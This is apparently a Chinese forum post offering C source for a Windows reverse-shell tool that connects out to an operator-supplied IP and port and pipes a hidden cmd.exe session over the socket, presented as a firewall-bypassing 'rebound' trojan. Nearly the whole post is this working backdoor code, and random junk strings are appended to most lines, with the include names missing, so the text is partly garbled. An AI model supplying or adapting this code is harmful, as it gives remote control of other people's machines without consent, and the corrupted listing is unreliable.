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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 @InJ_9E  
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/* ============================== O)5 #Fcp(  
Rebound port in Windows NT ]gP8?s|  
By wind,2006/7 UH40~LxIma  
===============================*/ c^-YcGwa  
#include {E~l>Z88  
#include syFI$rf _  
)fCMITq.|  
#pragma comment(lib,"wsock32.lib") <9 },M  
F$ {4X /9n  
void OutputShell(); SI_?~Pf3k  
SOCKET sClient; nVTM3Cz  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; V4?Oc2mS  
,8`O7V{W  
void main(int argc,char **argv) #:W%,$ 9\P  
{ A}4t9|/K6  
WSADATA stWsaData; C"No5r'K3  
int nRet; h6FgS9H  
SOCKADDR_IN stSaiClient,stSaiServer; :@e\'~7sH  
GN%<"I.  
if(argc != 3) MgnE-6_c  
{ w a.f![  
printf("Useage:\n\rRebound DestIP DestPort\n"); Ki 3_N*z  
return; (w2(qT&O  
} LhKY}R  
q] ZSj J  
WSAStartup(MAKEWORD(2,2),&stWsaData); syMm`/*/G-  
?z"YC&Tp  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _S<?t9mS  
'?k' 6R$'\  
stSaiClient.sin_family = AF_INET; rIPl6,w~  
stSaiClient.sin_port = htons(0); `r.N  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); x vJ^@w'  
H /%}R  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) >W~=]&7{s4  
{ {kG;."S+K  
printf("Bind Socket Failed!\n"); GiqBzV3"  
return; &G=0  
} J(hA^;8:  
dqwWfn1lt  
stSaiServer.sin_family = AF_INET; <[5#c*A  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); u2,H ]-  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); E@]sq A  
]W|RtdF3.N  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) TPqvp|~2  
{ aZxO/b^j  
printf("Connect Error!"); r$?Vx_f`Q  
return; w[{*9  
} p  .aE  
OutputShell(); KE#$+,?  
} QB9A-U <J  
w%I8CU_}.  
void OutputShell() N.n1<  
{ 1!s!wQgS  
char szBuff[1024]; u m{e&5jk  
SECURITY_ATTRIBUTES stSecurityAttributes; :4]J2U\@  
OSVERSIONINFO stOsversionInfo; JQH7ZaN  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; mCG;[4gM  
STARTUPINFO stStartupInfo; tKX}Ok:V%  
char *szShell; Ir>2sTrm  
PROCESS_INFORMATION stProcessInformation; z^9E;  
unsigned long lBytesRead; VX&WlG`wa  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); pNSst_!>  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); V:QdQ;c  
stSecurityAttributes.lpSecurityDescriptor = 0; ?AT(S  
stSecurityAttributes.bInheritHandle = TRUE; y* rY~U#3  
TL]bY'%  
<YSg~T  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ,.q8Xf  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); J[MVE4&  
.c|9..Cq=  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); OU6^+Ta  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KDX$.$#  
stStartupInfo.wShowWindow = SW_HIDE; 7NeDs$  
stStartupInfo.hStdInput = hReadPipe; cL ae=N  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; M!-q}5';  
%-k(&T3&  
GetVersionEx(&stOsversionInfo); oN4G1U Kc  
"TUPYFK9  
switch(stOsversionInfo.dwPlatformId) |C|:i@c H  
{ 4^`PiRGt  
case 1: +{'lZa  
szShell = "command.com"; R^|!^[WE  
break; 9Dy)nm^  
default: srhFEmgN7)  
szShell = "cmd.exe"; !4_!J (q%  
break; ` -yhl3si  
} cJ2y)`  
%5`r-F  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); +fkP+RVY  
>b3@>W  
send(sClient,szMsg,77,0); \y@ eBW  
while(1) (26Bs':M~  
{ Pb3EnNqYbM  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Z%KL[R}^w;  
if(lBytesRead) 4YBf ~Pp  
{ |c=d;+  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); )4Bwt`VX  
send(sClient,szBuff,lBytesRead,0); S'|lU@P Cl  
} :82?'aR  
else 6(,ItMbI  
{ N:twq&[Y  
lBytesRead=recv(sClient,szBuff,1024,0); sN;(/O  
if(lBytesRead<=0) break; 9A(n _Rs7?  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); bd.j,4^  
}  Ls lM$  
} 3g^IXm:K$  
}WA<=9e  
return; M\9IlV?'  
}
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